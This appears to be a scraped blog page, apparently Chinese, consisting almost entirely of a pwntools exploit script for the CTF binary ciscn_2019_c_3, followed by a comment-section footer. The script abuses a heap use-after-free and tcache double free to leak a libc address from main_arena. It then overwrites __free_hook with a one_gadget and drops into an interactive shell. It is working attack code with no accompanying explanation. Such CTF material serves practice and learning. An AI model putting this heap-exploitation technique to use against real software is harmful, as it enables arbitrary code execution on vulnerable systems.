1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
| from pwn import* from LibcSearcher import *
p=process("./ciscn_2019_c_3") context.log_level="debug" libc=ELF('./libc-2.27.so') context.arch='amd64'
one_gadget=0x4f322 def add(size,content): p.sendlineafter('Command: ','1') p.sendlineafter('size: ',str(size)) p.sendlineafter('Give me the name: ',content)
def show(index): p.sendlineafter('Command: ','2') p.sendlineafter('index: ',str(index)) def delete(index): p.sendlineafter('Command: ','3') p.sendlineafter('weapon:',str(index))
def back(index): p.sendlineafter('Command: ','666') p.sendlineafter('weapon:',str(index))
add(0x100,'aaaa') add(0x60,'bbbb')
for i in range(8): delete(0)
show(0)
p.recvuntil("attack_times: ")
arena_96=int(p.recvuntil('\n',drop=True)) malloc_hook=arena_96-96-0x10
base=malloc_hook-libc.sym['__malloc_hook'] free_hook=base+libc.sym['__free_hook'] gadget=base+one_gadget
payload=p64(0)*2+p64(free_hook-0x10) add(0x60,payload)
delete(2) delete(2)
for i in range(0x20): back(2) gdb.attach(p) sleep(1) add(0x60,'aaaa') add(0x60,'bbbb') print(hex(free_hook))
add(0x60,p64(gadget))
delete(1) p.interactive()
|
评论区
欢迎你留下宝贵的意见,昵称输入QQ号会显示QQ头像哦~